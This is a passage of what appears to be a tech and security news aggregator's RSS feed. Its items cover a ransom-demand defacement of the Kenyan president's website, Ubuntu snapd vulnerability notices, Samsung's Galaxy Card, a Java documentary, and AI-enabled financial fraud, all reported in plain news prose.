https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="Hackers Deface Kenya President William Ruto’s Website, Demand $330K Ransom 1"></p><p class="PDq2pG_selectionAnchorContainer" data-start="604" data-end="1046">Kenya is investigating a Kenya cyberattack that temporarily defaced President William Ruto’s official website with an anti-government message and a Bitcoin ransom demand for five bitcoins, reportedly worth about $330,000. The attackers replaced the website’s homepage with the message, displayed a <a href="https://thecyberexpress.com/nget-stealer-information-stealer/" target="_blank" rel="noopener">cryptocurrency wallet</a> address and threatened to publish unspecified information about President William Ruto unless the ransom was paid.</p>
<p data-start="1048" data-end="1341">The website was hacked on Saturday, July 18, 2026. Following the incident, access to the presidential website was temporarily restricted as authorities began containment, forensic analysis and restoration efforts. According to <a href="https://techpoint.africa/insight/techpoint-digest-1391/" target="_blank" rel="nofollow noopener">local media reports</a>, access to the website was restored by Monday.</p>

<h3 data-section-id="uxwkij" data-start="1343" data-end="1390"><strong>Kenya Cyberattack Prompts Incident Response</strong></h3>
<p data-start="1392" data-end="1563">Kenya’s Ministry of Information, Communications and the Digital Economy <a href="https://www.linkedin.com/feed/update/urn:li:activity:7484206210221522944/" target="_blank" rel="nofollow noopener">confirmed</a> that the official website of the President had been affected by a cybersecurity incident.</p>
<p data-start="1565" data-end="1715">The ministry said that after the incident was detected, the ICT Authority immediately activated established <a href="https://thecyberexpress.com/incident-response-automating-with-genai/" target="_blank" rel="noopener">cybersecurity incident response</a> protocols.</p>
<p data-start="1717" data-end="1876">As a precautionary measure, access to the presidential website was temporarily restricted to facilitate containment, forensic analysis and restoration efforts.</p>
<p data-start="1878" data-end="2004">The ministry said appropriate mitigation measures had since been implemented and that restoration of the website was underway.</p>


[caption id="attachment_113245" align="aligncenter" width="600"]<img class="wp-image-113245 size-full" src="https://thecyberexpress.com/wp-content/uploads/Kenya-cyberattack-e1784698045495.webp" alt="Kenya cyberattack" width="600" height="680"> Source: Kenya’s Ministry of Information, Communications and the Digital Economy[/caption]
<p data-start="2006" data-end="2254">At the time of the statement, the government said there was no evidence of unauthorized access to sensitive <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29055">data</a>, data exfiltration or loss of information. It also stated that government systems and digital services remained secure and operational.</p>
<p data-start="2256" data-end="2454">The ICT Authority is working with relevant government agencies and technical partners to conduct a comprehensive forensic investigation and establish the full circumstances surrounding the incident.</p>

<h3 data-section-id="424neg" data-start="2456" data-end="2514"><strong>Kenya President William Ruto Cyberattack Investigation</strong></h3>
<p data-start="2516" data-end="2764">The Kenya President William Ruto <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-a-cyber-attack/" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29053">cyberattack</a> involved the defacement of the president’s official website. The attackers replaced the homepage with an anti-government message, displayed a cryptocurrency wallet address and demanded five bitcoins.</p>
<p data-start="2766" data-end="2887">The attackers also threatened to publish unspecified information about President William Ruto if the ransom was not paid.</p>
<p data-start="2889" data-end="3135">The government has not reported evidence of unauthorized access to sensitive data or data exfiltration. The ongoing forensic investigation is expected to establish the circumstances surrounding the incident and determine the extent of the attack.</p>

<h3 data-section-id="uvsz76" data-start="3249" data-end="3308">Kenya Government Website Hack Follows Earlier Incidents</h3>
<p data-start="3310" data-end="3439">The latest Kenya government website <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-hacking/" title="hack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29054">hack</a> follows previous cyber incidents involving government digital services and websites.</p>
<p data-start="3441" data-end="3660">In July 2023, Kenya’s eCitizen platform, which is used for dozens of public services, was <a href="https://thecyberexpress.com/cyber-attack-on-kenya-anonymous-sudan-hackers/" target="_blank" rel="noopener">disrupted by a cyberattack</a>. The incident affected agencies including the National Transport and Safety Authority and Kenya Power.</p>
<p data-start="3662" data-end="3891">On November 17, 2025, <a href="https://thecyberexpress.com/government-of-kenya-cyberattack/" target="_blank" rel="noopener">hackers launched a coordinated attack</a> on several government websites, including the presidency’s portal. The websites were temporarily knocked offline, while some pages were replaced with extremist messages.</p>
<p data-start="3893" data-end="4078">According to the information provided by local media, the government later blamed a group calling itself PCP@Kenya, restored the affected platforms and promised stronger <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="29057">cyber</a> defences.</p>

<h3 data-section-id="1t0u4ua" data-start="4080" data-end="4134">Bitcoin Ransom Demand Targets Presidential Website</h3>
<p data-start="4136" data-end="4383">The latest incident involved a Bitcoin <a href="https://thecyberexpress.com/cyber-attack-on-scandinavian-airlines-ransom/" target="_blank" rel="noopener">ransom demand </a>for five bitcoins, reportedly valued at approximately $330,000. The attackers displayed a cryptocurrency wallet address and threatened to release unspecified information about the president.</p>
<p data-start="4385" data-end="4660">It remains unclear from the available information whether the attackers accessed systems or data beyond the presidential website. The Kenyan government has said there is currently no evidence of unauthorized access to sensitive data, data exfiltration or loss of information.</p>
<p data-start="4662" data-end="4871" data-is-last-node="" data-is-only-node="">The ICT Authority and relevant government agencies are continuing their forensic investigation to establish how the incident occurred and determine the full circumstances surrounding the Kenya <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-a-cyber-attack/" target="_blank" rel="noopener" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29056">cyberattack</a>.</p>]]></content:encoded>
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<title><![CDATA[EU Negotiates Security Deal that Could Expand U.S. Access to Biometric Data]]></title>
<description><![CDATA[The European Union is negotiating a new security deal with the United States that could expand access to personal data. The plan could allow U.S. authorities to check information held in national databases across EU member states. The information could include biometric data, which can identify p...]]></description>
<link>https://tsecurity.de/de/3684957/it-security-nachrichten/eu-negotiates-security-deal-that-could-expand-us-access-to-biometric-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684957/it-security-nachrichten/eu-negotiates-security-deal-that-could-expand-us-access-to-biometric-data/</guid>
<pubDate>Wed, 22 Jul 2026 00:40:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The European Union is negotiating a new security deal with the United States that could expand access to personal data. The plan could allow U.S. authorities to check information held in national databases across EU member states. The information could include biometric data, which can identify people through unique body features. The talks have raised […]</p>
<p>The post <a href="https://privacysavvy.com/news/cybersecurity/eu-security-deal-us-biometric-data-access/">EU Negotiates Security Deal that Could Expand U.S. Access to Biometric Data</a> appeared first on <a href="https://privacysavvy.com/">PrivacySavvy</a>.</p>]]></content:encoded>
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<title><![CDATA[Samsung’s First Credit Card Launches in the US]]></title>
<description><![CDATA[The Galaxy Card brings Samsung Wallet integration and 5% cash back on Samsung purchases.]]></description>
<link>https://tsecurity.de/de/3684920/it-nachrichten/samsungs-first-credit-card-launches-in-the-us/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684920/it-nachrichten/samsungs-first-credit-card-launches-in-the-us/</guid>
<pubDate>Wed, 22 Jul 2026 00:06:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Galaxy Card brings Samsung Wallet integration and 5% cash back on Samsung purchases.]]></content:encoded>
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<title><![CDATA[USN-8579-1: snapd vulnerabilities]]></title>
<description><![CDATA[James Henstridge discovered that snapd's default apparmor template did
not restrict access to systemd-userdbd varlink interface. A local
attacker could possibly use this issue to obtain sensitive information.
(CVE-2024-5300)

Qualys discovered that snap-confine can be tricked to create
attacker-c...]]></description>
<link>https://tsecurity.de/de/3684600/unix-server/usn-8579-1-snapd-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684600/unix-server/usn-8579-1-snapd-vulnerabilities/</guid>
<pubDate>Tue, 21 Jul 2026 20:17:11 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[James Henstridge discovered that snapd's default apparmor template did
not restrict access to systemd-userdbd varlink interface. A local
attacker could possibly use this issue to obtain sensitive information.
(CVE-2024-5300)

Qualys discovered that snap-confine can be tricked to create
attacker-controlled files at certain privileged locations. A local
attacker could possibly use this issue to bypass intended restrictions
and escalate privileges to root. This issue only affected
Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 26.04 LTS.
(CVE-2026-8933)

Zygmunt Krynicki discovered that snapd's default seccomp template
did not restrict the creation of executables with the set-user-ID
attribute. A local attacker could possibly use this issue to create
and execute setuid binaries. (CVE-2026-15226)]]></content:encoded>
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<title><![CDATA[‘The Java Story’ comes to YouTube]]></title>
<description><![CDATA[The evolution of Java is the subject of a just-released documentary about the programming language and development platform. “The Java Story: The Official Documentary” tells the story of Java through interviews with the engineers who created it and shepherded it through three decades.



Produced...]]></description>
<link>https://tsecurity.de/de/3684377/ai-nachrichten/the-java-story-comes-to-youtube/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684377/ai-nachrichten/the-java-story-comes-to-youtube/</guid>
<pubDate>Tue, 21 Jul 2026 18:35:11 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The evolution of <a href="https://www.infoworld.com/article/2335996/9-reasons-java-is-still-great.html" data-type="link" data-id="https://www.infoworld.com/article/2335996/9-reasons-java-is-still-great.html">Java</a> is the subject of a just-released documentary about the programming language and development platform. <a href="https://inside.java/2026/07/18/the-java-documentary/">“The Java Story: The Official Documentary”</a> tells the story of Java through interviews with the engineers who created it and shepherded it through three decades.</p>



<p class="wp-block-paragraph">Produced by <a href="https://www.youtube.com/@cultrepo">CultRepo</a> and sponsored by Oracle, JetBrains, IBM, and Azul, the documentary follows Java from its set-top box and browser-based origins at Sun Microsystems in the 1990s and through its rise to dominate server-side computing in the 2000s, the “dark ages” and resurgence with Java 8 under Oracle in the 2010s, and its continuing modernization and promising role in AI today. “From its humble beginnings as a project code-named ‘Oak’ at Sun Microsystems to becoming a global standard for enterprise software and billions of devices, Java’s journey is one of radical innovation, strategic pivots, and enduring community strength,” said Cult.Repo. </p>



<p class="wp-block-paragraph">The documentary also delves into Sun’s bitter Java licensing dispute with Microsoft, Oracle’s suit of Google over its use of Java APIs Android (Google won), the creation of the <a href="https://www.infoworld.com/article/2164290/a-look-inside-the-java-community-process.html" data-type="link" data-id="https://www.infoworld.com/article/2164290/a-look-inside-the-java-community-process.html">Java Community Process</a>, Sun’s open-sourcing of Java, and Oracle’s switch to the six-month release cycle. Technical enhancements such as lambda expressions in Java 8, virtual threads in Java 21 (<a href="https://www.infoworld.com/article/2334607/project-loom-understand-the-new-java-concurrency-model.html" data-type="link" data-id="https://www.infoworld.com/article/2334607/project-loom-understand-the-new-java-concurrency-model.html">Project Loom</a>), and the ongoing refactor to bring value objects to the Java object model (<a href="https://www.infoworld.com/article/2337986/project-valhalla-a-look-inside-javas-epic-refactor.html" data-type="link" data-id="https://www.infoworld.com/article/2337986/project-valhalla-a-look-inside-javas-epic-refactor.html">Project Valhalla</a>) also get attention. </p>



<p class="wp-block-paragraph">Technical experts and other Java figures interviewed in the documentary include James Gosling, creator of Java; Kim Polese, Java’s first product manager; Carla Schroer, director of Java compatibility at Sun Microsystems; James Duncan Davidson, creator of Apache Tomcat; Mark Reinhold, chief architect of the Java Platform Group at Oracle; Brian Goetz, Java language architect in the Java Platform Group at Oracle; Rod Johnson, creator of Spring; and Gavin King, creator of Hibernate. </p>
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<title><![CDATA[North Korea’s IT worker scheme funds Russia’s war effort]]></title>
<description><![CDATA[DTEX researchers found a series of transactions in a payment wallet showing North Korean IT worker salaries flowing into sanctioned entities that support the regime’s military programs.
The post North Korea’s IT worker scheme funds Russia’s war effort appeared first on CyberScoop.]]></description>
<link>https://tsecurity.de/de/3684313/it-security-nachrichten/north-koreas-it-worker-scheme-funds-russias-war-effort/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684313/it-security-nachrichten/north-koreas-it-worker-scheme-funds-russias-war-effort/</guid>
<pubDate>Tue, 21 Jul 2026 18:11:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>DTEX researchers found a series of transactions in a payment wallet showing North Korean IT worker salaries flowing into sanctioned entities that support the regime’s military programs.</p>
<p>The post <a href="https://cyberscoop.com/north-korea-it-worker-scheme-funds-russia-war-ukraine/">North Korea’s IT worker scheme funds Russia’s war effort</a> appeared first on <a href="https://cyberscoop.com/">CyberScoop</a>.</p>]]></content:encoded>
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<title><![CDATA[Certinia acquires AI services company Moonnox]]></title>
<description><![CDATA[AI-powered professional services automation provider Certinia has acquired Moonnox, an AI-native automation platform created for the sector. It extends Certinia’s system of action, Veda, offering a new suite of AI agents that automate administration, project management and project deliverables, t...]]></description>
<link>https://tsecurity.de/de/3684173/it-security-nachrichten/certinia-acquires-ai-services-company-moonnox/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684173/it-security-nachrichten/certinia-acquires-ai-services-company-moonnox/</guid>
<pubDate>Tue, 21 Jul 2026 17:30:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AI-powered <a href="https://www.cio.com/article/2092137/certinia-bakes-ai-into-its-latest-professional-services-updates.html">professional services automation</a> provider <a href="https://www.cio.com/article/1258572/certinia-uses-ai-to-accelerate-finance-functions-for-service-companies.html">Certinia</a> has acquired Moonnox, an AI-native automation platform created for the sector. It extends Certinia’s system of action, Veda, offering a new suite of AI agents that automate administration, project management and project deliverables, the company said.</p>



<p class="wp-block-paragraph">The acquisition will add real-time native context capture across applications such as Salesforce, G-Suite, Microsoft 365, Jira, Confluence, Zoom and others, and, unlike point agents, it “spans the full arc from proposal to delivery to renewal, so nothing has to be rebuilt, re-mapped, or re-trusted as work moves from sales to delivery to customer success,” Certinia said.</p>



<p class="wp-block-paragraph">New capabilities in Veda include automatic creation of proposal responses and statements of work, conversion of high-level business requirements into actionable blueprints, providing an on-demand virtual assistant to manage day-to-day tasks, performing scope scans and otherwise monitoring projects to proactively manage risk, and organizing delivery data and lessons learned into a searchable knowledge base for later use.</p>



<p class="wp-block-paragraph">“What excites me most is the combination,” <a href="https://www.linkedin.com/in/robertong8/" target="_blank" rel="noreferrer noopener">Robert Ong</a>, co-founder and CEO of Moonnox, now part of Certinia, said in a statement. “Moonnox’s ability to capture what happens in the room, paired with Certinia’s system of record and agentic capabilities for services operations, closes a gap neither of us could close alone. Together, we give services firms the foundation to capture that value, deliver with confidence, and navigate shifting their operating models into the future.”</p>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/thomas-randall" target="_blank" rel="noreferrer noopener">Thomas Randall</a>, research director at Info-Tech Research Group, said it’s a smart move for Certinia to acquire Moonnox. “The current solution is quite complex to use. What Moonnox offers for Certinia is a way for non-technical staff to navigate their system of record across unstructured data silos. I expect to see an increase in satisfaction for the user experience.”</p>



<p class="wp-block-paragraph">However, <a href="https://moorinsightsstrategy.com/team/jason-andersen/" target="_blank" rel="noreferrer noopener">Jason Andersen</a>, VP and principal analyst at Moor Insights &amp; Strategy, still has questions.</p>



<p class="wp-block-paragraph">“While this acquisition might increase service planning and delivery efficiencies in the short term, the real question will be how this combination will help firms with the fundamental shift AI and agents have thrust upon the services industry,” he pointed out. ”Unfortunately for services firms, agentic technologies have already reset client perceptions on internal work capacity, velocity, and cost. So, the proof point I’d like to see is beyond margin improvement and towards business transformation.”</p>
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<title><![CDATA[The Galaxy Card Is Samsung's Answer To the Apple Card]]></title>
<description><![CDATA[An anonymous reader quotes a report from Wired: Nearly seven years after Apple debuted the Apple Card, Samsung is following the iPhone maker's footsteps with the Galaxy Card, aiming for its own slice of the credit card market. The announcement comes two days before Samsung's second Galaxy Unpacke...]]></description>
<link>https://tsecurity.de/de/3684135/it-security-nachrichten/the-galaxy-card-is-samsungs-answer-to-the-apple-card/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684135/it-security-nachrichten/the-galaxy-card-is-samsungs-answer-to-the-apple-card/</guid>
<pubDate>Tue, 21 Jul 2026 17:10:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from Wired: Nearly seven years after Apple debuted the Apple Card, Samsung is following the iPhone maker's footsteps with the Galaxy Card, aiming for its own slice of the credit card market. The announcement comes two days before Samsung's second Galaxy Unpacked event of the year, where it's expected to showcase new smartwatches and folding smartphones. The Galaxy Card is issued by Barclays on the Visa network; the Apple Card, originally issued by Goldman Sachs but now transitioning to Chase, is on the MasterCard network. There is a physical card -- it's not made of titanium but recycled steel.
 
The virtual card will be provisioned to a user's Samsung Wallet account. With no annual fee, Samsung says cardmembers can earn 5 percent cash rewards on all in-store or online purchases made directly from Samsung in the US, 3 percent cash rewards on purchases made with the Galaxy Card using Samsung Wallet, 2 percent cash rewards on streaming service subscriptions, and 1 percent cash rewards on everything else with the physical card. The cash rewards can be redeemed as a statement credit or transferred to a checking or savings account. The annual percentage rate (APR) varies by cardmember, but the card has no foreign transaction fees. Other perks include a 20 percent discount on Samsung's VIP Advantage membership, which offers extended device protection, specialized support, and exclusive deals, and $200 in cash rewards after spending $2,000 in the first 90 days.
 
Applications open up on July 22. The Samsung Wallet app is only available on Samsung smartphones and watches, so what happens if a consumer switches to a different smartphone brand? The company says Galaxy Card is not limited to Samsung device owners and that anyone can use the physical card, but you lose the key perks; the card can be managed through a BarclaysUS.com online portal. (Similarly, if an iPhone owner switches to Android, their physical Apple Card will still work, but they lose access to the Apple Wallet app and the 3 percent daily cash perk on Apple purchases; there's a web portal to manage the account.)<p></p><div class="share_submission">
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</div><p><a href="https://news.slashdot.org/story/26/07/21/0551243/the-galaxy-card-is-samsungs-answer-to-the-apple-card?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Microsoft to Discontinue Podcasts Option on Copilot and to Delete Contents]]></title>
<description><![CDATA[Microsoft will retire the Podcasts feature in its consumer Copilot app on August 18, 2026, permanently removing access to both the creation tool and all previously generated podcast content. This change affects both free and paid Copilot users, including those…
Read more →
The post Microsoft to D...]]></description>
<link>https://tsecurity.de/de/3683882/it-security-nachrichten/microsoft-to-discontinue-podcasts-option-on-copilot-and-to-delete-contents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683882/it-security-nachrichten/microsoft-to-discontinue-podcasts-option-on-copilot-and-to-delete-contents/</guid>
<pubDate>Tue, 21 Jul 2026 15:39:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft will retire the Podcasts feature in its consumer Copilot app on August 18, 2026, permanently removing access to both the creation tool and all previously generated podcast content. This change affects both free and paid Copilot users, including those…</p>
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<p>The post <a href="https://www.itsecuritynews.info/microsoft-to-discontinue-podcasts-option-on-copilot-and-to-delete-contents/">Microsoft to Discontinue Podcasts Option on Copilot and to Delete Contents</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Microsoft to Discontinue Podcasts Option on Copilot and to Delete Contents]]></title>
<description><![CDATA[Microsoft will retire the Podcasts feature in its consumer Copilot app on August 18, 2026, permanently removing access to both the creation tool and all previously generated podcast content. This change affects both free and paid Copilot users, including those with Microsoft 365 subscriptions. Mi...]]></description>
<link>https://tsecurity.de/de/3683830/it-security-nachrichten/microsoft-to-discontinue-podcasts-option-on-copilot-and-to-delete-contents/</link>
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<pubDate>Tue, 21 Jul 2026 15:25:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft will retire the Podcasts feature in its consumer Copilot app on August 18, 2026, permanently removing access to both the creation tool and all previously generated podcast content. This change affects both free and paid Copilot users, including those with Microsoft 365 subscriptions. Microsoft has announced that it will discontinue the Podcasts option in […]</p>
<p>The post <a href="https://cybersecuritynews.com/microsoft-discontinue-podcasts-copilot/">Microsoft to Discontinue Podcasts Option on Copilot and to Delete Contents</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Samsung bringt eine eigene Galaxy-Kreditkarte auf den Markt]]></title>
<description><![CDATA[Samsung hat soeben eine neue Kreditkarte vorgestellt, die „Samsung Galaxy Card“, die besondere Vorteile wie etwa fünf Prozent Cashback auf berechtigte Einkäufe direkt bei Samsung bietet. Darauf wurde erstmals von Engadget hingewiesen.Neue Karteninhaber können zudem eine Rückerstattung in Höhe von...]]></description>
<link>https://tsecurity.de/de/3683781/it-nachrichten/samsung-bringt-eine-eigene-galaxy-kreditkarte-auf-den-markt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683781/it-nachrichten/samsung-bringt-eine-eigene-galaxy-kreditkarte-auf-den-markt/</guid>
<pubDate>Tue, 21 Jul 2026 15:18:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Samsung hat soeben eine neue Kreditkarte vorgestellt, die „Samsung Galaxy Card“, die besondere Vorteile wie etwa fünf Prozent Cashback auf berechtigte Einkäufe direkt bei Samsung bietet. Darauf wurde erstmals von <a href="https://www.engadget.com/2218871/samsung-just-unveiled-a-galaxy-credit-card-ahead-of-unpacked/">Engadget</a> hingewiesen.<br><br>Neue Karteninhaber können zudem eine Rückerstattung in Höhe von 200 Dollar (ca. 175 Euro) erhalten, wenn sie in den ersten 90 Tagen nach Eröffnung des Kontos für mindestens 2.000 Dollar (ca. 1750 Euro) einkaufen. Ferner werden drei Prozent Cashback bei Einkäufen über Samsung Wallet, zwei Prozent bei Zahlungen an Streaming-Dienste und ein Prozent auf alle sonstigen Einkäufe gewährt. Die Karte beinhaltet zudem 20 Prozent Rabatt auf das VIP-Advantage-Programm von Samsung.</p>



<p>Die Samsung Galaxy Card wird ab dem <strong>22. Juli</strong> erhältlich sein, also am selben Tag, an dem das nächste <a href="https://www.pcwelt.de/article/3186787/samsung-galaxy-unpacked-event-im-juli-das-wird-alles-vorgestellt.html" target="_blank" rel="noreferrer noopener">„Galaxy Unpacked“-Event</a> des Unternehmens stattfindet. Dort werden voraussichtlich auch neue Falt-Smartphones vorgestellt. Interessierte können die Karte ab dann online oder in den Samsung-eigenen Geschäften beantragen.</p>



<p>Bereits seit einiger Zeit bieten auch Technologieunternehmen wie Apple und Amazon eigene Kreditkarten an. Mit der <a href="https://www.pcwelt.de/article/2424166/amazon-visa-neue-kostenlose-kreditkarte-fuer-kunden-alle-infos.html" target="_blank" rel="noreferrer noopener">Amazon Visa</a> können Sie beispielsweise auch Punkte sammeln, die als Cashback eingelöst werden können. <a href="https://www.pcwelt.de/article/2438721/amazon-visa-vorteile-nachteile-kostenlose-kreditkarte.html" target="_blank" rel="noreferrer noopener">Die Vorteile und Nachteile von Amazon Visa haben wir hier genauer vorgestellt.</a></p>



<p><a href="https://www.pcwelt.de/article/1204479/test-das-beste-samsung-galaxy-smartphone.html" target="_blank" rel="noreferrer noopener">Die besten Samsung Galaxy Smartphones im Test</a></p>

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<title><![CDATA[Asymmetric warfare in financial services: AI-powered fraud demands unified command]]></title>
<description><![CDATA[Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesso...]]></description>
<link>https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/</link>
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<pubDate>Tue, 21 Jul 2026 13:08:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesson for $25 million, joining a video call with what appeared to be the engineering firm’s chief financial officer and several colleagues, receiving instructions to wire funds to a designated account, and complying. Every face on the screen was a deepfake, cloned from publicly available footage of the actual executives. The attackers conducted the entire meeting in real time and vanished before anyone in the organization realized the CFO had never logged on.</p>



<p class="wp-block-paragraph">The incident would be remarkable enough as a one-off, but it represents a pattern accelerating well beyond isolated cases. <a href="https://nilsonreport.com/articles/card-fraud-losses-worldwide-2024/">Global payment fraud reached $33.4 billion in 2024</a> according to the Nilson Report, and the US absorbed a disproportionate 42% of those losses despite processing only 25% of global card transactions. The latest FBI Internet Crime report identifies <a href="https://www.fbi.gov/news/press-releases/cryptocurrency-and-ai-scams-bilk-americans-of-billions">more than one million complaints and nearly $21 billion in cyber-enabled crime losses in 2025</a> (up from $16 million in 2023), while Deloitte projects <a href="https://www.deloitte.com/us/en/insights/industry/financial-services/deepfake-banking-fraud-risk-on-the-rise.html">AI-enabled fraud in the US will hit $40 billion by 2027</a>. This increasingly includes crypto-related fraud, not just credit card or traditional banking fraud.</p>



<p class="wp-block-paragraph">For anyone who oversees financial operations, risk or payment technology infrastructure, these numbers are not forecasts of a future “regional conflict.” Instead, they are the current cost of a war most institutions have not yet recognized they are fighting.</p>



<h2 class="wp-block-heading"><a></a>Reconnaissance at scale: How AI redraws the attacker’s map</h2>



<p class="wp-block-paragraph">The conventional narrative around AI-powered fraud emphasizes speed: Faster phishing, faster credential stuffing, faster social engineering. Jason Kikta, CTO of<a href="https://www.automox.com/"> Automox</a>, sees the shift differently. “The main threat from AI misuse isn’t faster execution, as automation has been leveraged for years,” Kikta says. “The true dangers are lower barriers to entry and faster adaptation, giving attackers the ability to pivot techniques in near real-time.”</p>



<p class="wp-block-paragraph">The distinction means that execution is a quantitative improvement, the kind existing defenses can absorb by scaling up. Lower barriers to entry and real-time adaptation are qualitative: A force multiplier that turns every amateur into an equipped operator with a coach that learns from each failed attempt. Deepfake-as-a-service platforms now produce voice clones from three seconds of audio. AI-driven vulnerability scanning maps an institution’s unpatched endpoints while the security team is still scheduling the review meeting. In 2024, 269 million stolen credit card records appeared on dark web platforms, giving AI-equipped attackers what military intelligence analysts would call an order of battle: A detailed map of the defender’s exposed positions, ready to be mined for patterns, tested against live systems and exploited at machine speed.</p>



<p class="wp-block-paragraph">The result is a combined arms threat, one that operates across domains simultaneously the way a competent military force coordinates air, ground and intelligence rather than running them as independent campaigns. The same AI that crafts a convincing business email compromise can probe unpatched point-of-sale systems to install digital skimmers. The same synthetic identity that opens a fraudulent credit card account can exploit a payment authorization vulnerability discovered through automated scanning. Card-not-present fraud now accounts for 71% of all US card fraud losses, and the attack surface keeps expanding as digital wallets and e-commerce push more transactions into channels where physical card verification is impossible.</p>



<p class="wp-block-paragraph">Attackers treat endpoint management gaps and transaction monitoring gaps as a single attack surface, while most defenders continue to patrol them as separate territories.</p>



<h2 class="wp-block-heading"><a></a>Fragmented command: The structural vulnerability AI exploits</h2>



<p class="wp-block-paragraph">Consider how most financial institutions, crypto platforms and digital asset intermediaries actually organize their defenses: A cybersecurity team focused on identity compromise, endpoint protection and infrastructure threats; a fraud team focused on account takeover, mule networks and scam typologies; an AML or financial crimes team focused on wallet screening, sanctions exposure and suspicious activity reporting; and an AI risk or digital trust team, if one exists at all, focused on synthetic media, model abuse and impersonation. Each function has its own tooling, budget, reporting line and intelligence feeds. In crypto markets, where value can move irreversibly across wallets, chains, mixers, exchanges and OTC brokers in minutes, those silos create exploitable gaps between detection, attribution, interdiction and recovery.</p>



<p class="wp-block-paragraph">A pig-butchering scam that begins on a dating app, migrates to WhatsApp, directs a victim to a fake crypto investment platform, and then launders proceeds through nested services and cross-chain bridges is not just a fraud event. It is also a cybersecurity event, a financial crimes event, an identity event, a platform abuse event and, increasingly, an AI-enabled social engineering event. Chainalysis reported that high-yield investment scams and pig-butchering schemes were among the most successful crypto scam types in 2024, while also noting growing use of AI in fraud and scams.</p>



<p class="wp-block-paragraph">Research published by the University of California, Davis found that these schemes follow a staged lifecycle: Trust-building, fabricated investment returns, escalating deposits, withdrawal obstruction and re-targeting of victims after the initial loss. When each part of that lifecycle is monitored by a different team, the institution sees fragments of the attack rather than the economic system of the crime.</p>



